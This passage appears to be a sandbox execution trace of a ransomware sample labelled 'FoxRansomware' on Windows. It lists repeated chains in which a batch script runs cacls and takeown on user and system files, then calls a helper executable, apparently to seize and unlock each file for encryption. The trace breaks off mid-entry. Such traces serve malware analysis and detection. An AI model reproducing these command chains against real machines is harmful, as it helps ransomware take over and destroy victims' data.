- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000B3.bin""
  2⤵
  PID:7128
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000B3.bin" /E /G Admin:F /C
    3⤵
    PID:7112
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000B3.bin"
    3⤵
    PID:7036
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "000000B3.bin" -nobanner
    3⤵
    PID:7008
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "000000B3.bin" -nobanner
      4⤵
      PID:6748
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:6780
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000006.bin""
  2⤵
  PID:1276
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000006.bin" /E /G Admin:F /C
    3⤵
    PID:5220
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000006.bin"
    3⤵
    PID:5836
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "00000006.bin" -nobanner
    3⤵
    PID:6064
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "00000006.bin" -nobanner
      4⤵
      PID:7088
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:4732
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000J.bin""
  2⤵
  PID:264
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000J.bin" /E /G Admin:F /C
    3⤵
    PID:5188
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000J.bin"
    3⤵
    PID:7624
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "0000000J.bin" -nobanner
    3⤵
    PID:3340
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "0000000J.bin" -nobanner
      4⤵
      PID:7628
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:5388
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000U.bin""
  2⤵
  PID:8112
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000U.bin" /E /G Admin:F /C
    3⤵
    PID:276
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000U.bin"
    3⤵
    PID:6836
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "0000000U.bin" -nobanner
    3⤵
    PID:8156
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "0000000U.bin" -nobanner
      4⤵
      PID:5960
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:8024
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000018.bin""
  2⤵
  PID:8100
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000018.bin" /E /G Admin:F /C
    3⤵
    PID:7988
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000018.bin"
    3⤵
    PID:7876
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "00000018.bin" -nobanner
    3⤵
    PID:7948
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "00000018.bin" -nobanner
      4⤵
      PID:7952
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:8060
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000052.bin""
  2⤵
  PID:7872
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000052.bin" /E /G Admin:F /C
    3⤵
    PID:7828
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000052.bin"
    3⤵
    PID:7796
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "00000052.bin" -nobanner
    3⤵
    PID:8008
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "00000052.bin" -nobanner
      4⤵
      PID:7760
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7896
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006U.bin""
  2⤵
  PID:7912
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006U.bin" /E /G Admin:F /C
    3⤵
    PID:7700
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006U.bin"
    3⤵
    PID:7676
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "0000006U.bin" -nobanner
    3⤵
    PID:7652
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "0000006U.bin" -nobanner
      4⤵
      PID:7620
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7772
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000078.bin""
  2⤵
  PID:7704
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000078.bin" /E /G Admin:F /C
    3⤵
    PID:7512
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000078.bin"
    3⤵
    PID:7728
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "00000078.bin" -nobanner
    3⤵
    PID:7724
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "00000078.bin" -nobanner
      4⤵
      PID:7552
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7860
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007I.bin""
  2⤵
  PID:7376
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007I.bin" /E /G Admin:F /C
    3⤵
    PID:7372
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007I.bin"
    3⤵
    PID:7576
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "0000007I.bin" -nobanner
    3⤵
    PID:7536
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "0000007I.bin" -nobanner
      4⤵
      PID:7440
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7604
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008H.bin""
  2⤵
  PID:6200
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008H.bin" /E /G Admin:F /C
    3⤵
    PID:7212
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008H.bin"
    3⤵
    PID:7400
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "0000008H.bin" -nobanner
    3⤵
    PID:7404
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "0000008H.bin" -nobanner
      4⤵
      PID:7204
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7516
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml""
  2⤵
  PID:6288
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml" /E /G Admin:F /C
    3⤵
    PID:7236
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:7240
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "behavior.xml" -nobanner
    3⤵
    PID:5812
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "behavior.xml" -nobanner
      4⤵
      PID:5232
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7296
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\fr-FR\resource.xml""
  2⤵
  PID:7504
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\fr-FR\resource.xml" /E /G Admin:F /C
    3⤵
    PID:5132
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\fr-FR\resource.xml"
    3⤵
    PID:4608
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:4872
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:5460
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:5932
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\it-IT\resource.xml""
  2⤵
  PID:6560
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\it-IT\resource.xml" /E /G Admin:F /C
    3⤵
    PID:4060
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\it-IT\resource.xml"
    3⤵
    PID:5168
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:5804
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:5236
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:6876
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\SmsRouter\MessageStore\edbres00002.jrs""
  2⤵
  PID:7640
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\SmsRouter\MessageStore\edbres00002.jrs" /E /G Admin:F /C
    3⤵
    PID:6140
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\SmsRouter\MessageStore\edbres00002.jrs"
    3⤵
    PID:1028
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "edbres00002.jrs" -nobanner
    3⤵
    PID:3720
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "edbres00002.jrs" -nobanner
      4⤵
      PID:1912
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:5500
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win64.xml""
  2⤵
  PID:4028
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win64.xml" /E /G Admin:F /C
    3⤵
    PID:3024
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win64.xml"
    3⤵
    PID:3764
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "MicrosoftLync2013Win64.xml" -nobanner
    3⤵
    PID:2316
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "MicrosoftLync2013Win64.xml" -nobanner
      4⤵
      PID:376
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:6072
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016BackupWin32.xml""
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5468
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016BackupWin32.xml" /E /G Admin:F /C
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5384
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016BackupWin32.xml"
    3⤵
    PID:5808
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "MicrosoftOffice2016BackupWin32.xml" -nobanner
    3⤵
    PID:4428
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "MicrosoftOffice2016BackupWin32.xml" -nobanner
      4⤵
      PID:1888
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:832
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftWordpad.xml""
  2⤵
  PID:6300
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftWordpad.xml" /E /G Admin:F /C
    3⤵
    PID:2584
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftWordpad.xml"
    3⤵
    - Modifies file permissions
    PID:4924
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "MicrosoftWordpad.xml" -nobanner
    3⤵
    PID:2412
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "MicrosoftWordpad.xml" -nobanner
      4⤵
      PID:424
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:5172
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\Settings\settings.dat.LOG1""
  2⤵
  PID:4368
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\Settings\settings.dat.LOG1" /E /G Admin:F /C
    3⤵
    PID:5696
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\Settings\settings.dat.LOG1"
    3⤵
    PID:5916
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "settings.dat.LOG1" -nobanner
    3⤵
    PID:4864
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "settings.dat.LOG1" -nobanner
      4⤵
      PID:5324
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:5764
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AppData\User\Default\Indexed DB\edb.log""
  2⤵
  PID:2420
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AppData\User\Default\Indexed DB\edb.log" /E /G Admin:F /C
    3⤵
    PID:5336
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AppData\User\Default\Indexed DB\edb.log"
    3⤵
    PID:1948
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "edb.log" -nobanner
    3⤵
    PID:4612
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "edb.log" -nobanner
      4⤵
      PID:6172
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:5692
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\TempState\TileCache_100_0_Data.bin""
  2⤵
  PID:5744
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\TempState\TileCache_100_0_Data.bin" /E /G Admin:F /C
    3⤵
    PID:32
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\TempState\TileCache_100_0_Data.bin"
    3⤵
    PID:6060
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "TileCache_100_0_Data.bin" -nobanner
    3⤵
    PID:2844
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "TileCache_100_0_Data.bin" -nobanner
      4⤵
      PID:5800
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:5228
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\AcroRdrDCUpd1901020069.msp""
  2⤵
  PID:6156
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\AcroRdrDCUpd1901020069.msp" /E /G Admin:F /C
    3⤵
    PID:3352
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\AcroRdrDCUpd1901020069.msp"
    3⤵
    PID:1436
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "AcroRdrDCUpd1901020069.msp" -nobanner
    3⤵
    PID:5392
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "AcroRdrDCUpd1901020069.msp" -nobanner
      4⤵
      PID:5612
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:2080
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png""
  2⤵
  PID:5048
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png" /E /G Admin:F /C
    3⤵
    PID:5452
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png"
    3⤵
    PID:5680
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "overlay.png" -nobanner
    3⤵
    PID:5096
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "overlay.png" -nobanner
      4⤵
      PID:5444
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:6184
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ja-JP\resource.xml""
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1040
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ja-JP\resource.xml" /E /G Admin:F /C
    3⤵
    PID:3172
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ja-JP\resource.xml"
    3⤵
    PID:6644
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:5424
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:7344
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:6248
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\tasks.xml""
  2⤵
  PID:5448
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\tasks.xml" /E /G Admin:F /C
    3⤵
    PID:6476
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\tasks.xml"
    3⤵
    PID:6480
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "tasks.xml" -nobanner
    3⤵
    PID:3712
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "tasks.xml" -nobanner
      4⤵
      PID:5940
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:6204
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.jfm""
  2⤵
  PID:6256
- - C:\Windows\SysWOW64\cacls.exe
